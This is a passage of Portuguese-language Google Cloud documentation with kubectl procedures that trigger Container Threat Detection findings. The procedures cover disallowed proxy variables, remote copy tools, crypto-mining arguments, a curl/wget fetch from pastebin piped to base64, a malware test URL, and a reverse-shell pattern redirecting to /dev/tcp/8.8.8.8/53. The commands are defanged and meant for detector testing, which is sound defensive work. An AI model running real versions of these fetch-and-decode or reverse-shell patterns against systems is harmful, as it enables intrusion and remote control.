kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"

Este procedimento de teste cria uma descoberta Execution: Possible Remote Command Execution Detected que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução do programa com o ambiente de proxy HTTP não permitido

Para acionar uma descoberta de Execution: Program Run with Disallowed HTTP Proxy Env, execute um programa em um contêiner, definindo uma variável de ambiente de proxy HTTP para um valor não permitido. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls é copiado e renomeado como /tmp/curl. Esse binário renomeado é executado com um valor proibido definido para uma variável de ambiente de proxy HTTP (por exemplo, HTTP_PROXY, http_proxy). A combinação da execução do programa e a presença de um ambiente de proxy HTTP proibido é sinalizada como suspeita, porque sugere uma tentativa de comunicação por um proxy não autorizado.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute um binário compatível com rede, como curl, com uma variável de ambiente de proxy HTTP proibida:

Nó x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Nó ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Este procedimento de teste cria uma descoberta Execution: Program Run with Disallowed HTTP Proxy Env que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Exfiltração: iniciar ferramentas de cópia remota de arquivos no contêiner

Para acionar uma descoberta de Exfiltration: Launch Remote File Copy Tools In Container, execute uma ferramenta comum de cópia de arquivos remotos em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls é copiado e renomeado para /tmp/rsync e, em seguida, executado para recuperar um arquivo de uma fonte remota e potencialmente maliciosa. A execução de uma ferramenta com argumentos de recuperação de arquivos remotos em um contêiner é sinalizada como suspeita, porque pode indicar uma tentativa de download e execução de código malicioso ou exfiltração de dados.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute uma ferramenta de cópia de arquivos remotos, como rsync:

Nó x86:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Nó ARM:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Este procedimento de teste cria uma descoberta Exfiltration: Launch Remote File Copy Tools In Container que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Impacto: detectar Cmdlines maliciosos

Para acionar uma descoberta Impact: Detect Malicious Cmdlines (pré-lançamento), a execução de uma linha de comando com argumentos ou padrões maliciosos conhecidos precisa ser observada em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele envolve copiar o binário /bin/ls e renomear essa cópia como ipfs. O binário renomeado é executado. Esse comportamento é sinalizado como suspeito porque pode indicar uma tentativa de executar um código malicioso ou contornar controles de segurança.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute um binário como ipfs:

Nó x86:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Nó ARM:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Este procedimento de teste cria uma descoberta Impact: Detect Malicious Cmdlines que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Impacto: remoção de dados em massa do disco

Para acionar uma descoberta de Impact: Remove Bulk Data From Disk, coloque e execute um binário capaz de excluir ou substituir dados no contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele envolve copiar o binário /bin/ls e renomear essa cópia para shred (ou um utilitário semelhante projetado para exclusão segura de arquivos). O binário renomeado é executado. Essa ação é sinalizada como suspeita porque imita o comportamento observado com frequência quando são feitas tentativas de remover grandes quantidades de dados de um disco em um ambiente conteinerizado.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduza e execute um binário de exclusão de arquivo ou dados, como shred:

Nó x86:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Nó ARM:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Este procedimento de teste cria uma descoberta Impact: Remove Bulk Data From Disk que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Impacto: atividade suspeita de mineração de criptomoedas usando o protocolo Stratum

Para acionar uma descoberta de Impact: Suspicious crypto mining activity using the Stratum Protocol, um binário precisa ser executado em um contêiner com argumentos semelhantes aos usados pelo software de mineração de criptomoedas que se comunica usando o protocolo Stratum. O exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls e renomeia essa cópia para um binário simulado (provavelmente para simular um minerador de criptomoedas). Esse binário renomeado é executado com argumentos que incluem stratum+tcp ou indicadores de protocolo Stratum semelhantes. Essa atividade é sinalizada como suspeita porque imita os padrões de comunicação de rede do software de mineração de criptomoedas em ambientes contêineres.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduza um utilitário binário como curl e execute-o com argumentos que se assemelham aos usados pelo software de mineração de criptomoedas que se comunicam usando o protocolo Stratum:

Nó x86:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Nó ARM:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Este procedimento de teste cria uma descoberta Impact: Suspicious crypto mining activity using the Stratum Protocol que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Você também pode encontrar outra descoberta para o comando bash executado neste teste. Esse comportamento é normal. Portanto, ignore a descoberta adicional.

Script malicioso executado

Para acionar uma descoberta de script malicioso, execute o script no procedimento a seguir no seu contêiner.

O procedimento implanta a imagem mais recente do Ubuntu 24.04, copia um script que parece malicioso e o executa. Para acionar uma detecção, um script precisa aparecer como malicioso para o detector.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute o script a seguir em um novo contêiner.

Este script inline do shell Bourne foi originado de um honeypot. No entanto, ele foi modificado para não executar o binário malicioso. Portanto, a execução do script não causará atividade maliciosa no contêiner. O binário no URL referenciado pode ter sido removido, e a tentativa de seguir o URL resultará em um erro 404. Isso já é esperado. A tentativa de fazer o download, de decodificar e de executar um binário usando um script inline é o que aciona a detecção.

Nó x86:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Nó ARM:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Este procedimento de teste cria uma descoberta de script malicioso executado que você pode ver no Security Command Center e no Cloud Logging se tiver configurado a geração de registros para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

URL malicioso observado

Para acionar uma descoberta de URL malicioso observado, execute um binário e forneça um URL malicioso como um argumento.

O exemplo a seguir implanta uma imagem do Ubuntu 24.04 e executa /bin/curl para acessar um exemplo de URL de malware do serviço Navegação segura.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute curl e forneça um URL malicioso como um argumento:

Nó x86:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Nó ARM:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Este procedimento de teste aciona uma descoberta de URL malicioso observado que você pode ver no Security Command Center e, se você tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. A visualização das descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.

Shell reverso

Para acionar uma descoberta de shell reverso, inicie um binário com redirecionamento stdin para um soquete conectado TCP. Este exemplo copia /bin/echo para /tmp/sh e, em seguida, inicia /tmp/sh com redirecionamento para o DNS público do Google 8.8.8.8 na porta DNS. Nada é impresso quando você executa este exemplo. Para evitar qualquer injeção de código externo por meio de um ataque intermediário (MITM), este exemplo não usa o binário /bin/sh.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Inicie um binário com redirecionamento /bin/echo para o DNS público do Google:

Nó x86:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Nó ARM:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Este procedimento de teste criará uma descoberta de shell reverso que pode ser vista no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.

Shell filho inesperado

Para testar o detector Unexpected Child Shell, crie uma árvore de processos que inclua um processo de shell filho.

O exemplo a seguir cria uma árvore de processo consul->dash, que pode ser detectada pelo detector Unexpected Child Shell. Esse teste é seguro porque usa apenas binários integrados. Este exemplo faz o seguinte:

Cria uma cópia do processo sh e a nomeia como consul.
Copia o processo echo e o nomeia como dash.
Invoca o processo dash copiado no processo consul copiado.

Para acionar uma descoberta de Unexpected Child Shell, faça o seguinte:

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Use o processo consul simulado para invocar um shell simulado:

Nó x86:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Nó ARM:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Esse procedimento de teste cria uma descoberta Unexpected Child Shell que pode ser visualizada no Security Command Center. Se o Logging estiver configurado para o Container Threat Detection e você tiver o Security Command Center Premium ou Enterprise ativado no nível da organização, também será possível conferir a descoberta no Cloud Logging.

A seguir

Saiba como usar o Container Threat Detection.

Como testar o Container Threat Detection Mantenha tudo organizado com as coleções Salve e categorize o conteúdo com base nas suas preferências.

Antes de começar

Ativar detectores

Defina as variáveis de ambiente

Adição de binário executado

Adição de biblioteca carregada

Comando e controle: ferramenta de esteganografia detectada

Acesso a credenciais: pesquisar chaves privadas ou senhas

Evasão de defesa: iniciar a ferramenta de compilador de código no contêiner

Execução: adição de binário malicioso executado

Execução: escape de contêiner

Execução: execução de vulnerabilidade de pesadelo de entrada

Execução: execução da ferramenta de ataque do Kubernetes

Execução: execução da ferramenta de reconhecimento local

Execução: Python malicioso executado

Execução: binário malicioso modificado executado

Execução: execução remota de código do Netcat no contêiner

Execução: possível execução de comando remoto detectada

Execução: execução do programa com o ambiente de proxy HTTP não permitido

Exfiltração: iniciar ferramentas de cópia remota de arquivos no contêiner

Impacto: detectar Cmdlines maliciosos

Impacto: remoção de dados em massa do disco

Impacto: atividade suspeita de mineração de criptomoedas usando o protocolo Stratum

Script malicioso executado

URL malicioso observado

Shell reverso

Shell filho inesperado

A seguir

Como testar o Container Threat Detection
Mantenha tudo organizado com as coleções Salve e categorize o conteúdo com base nas suas preferências.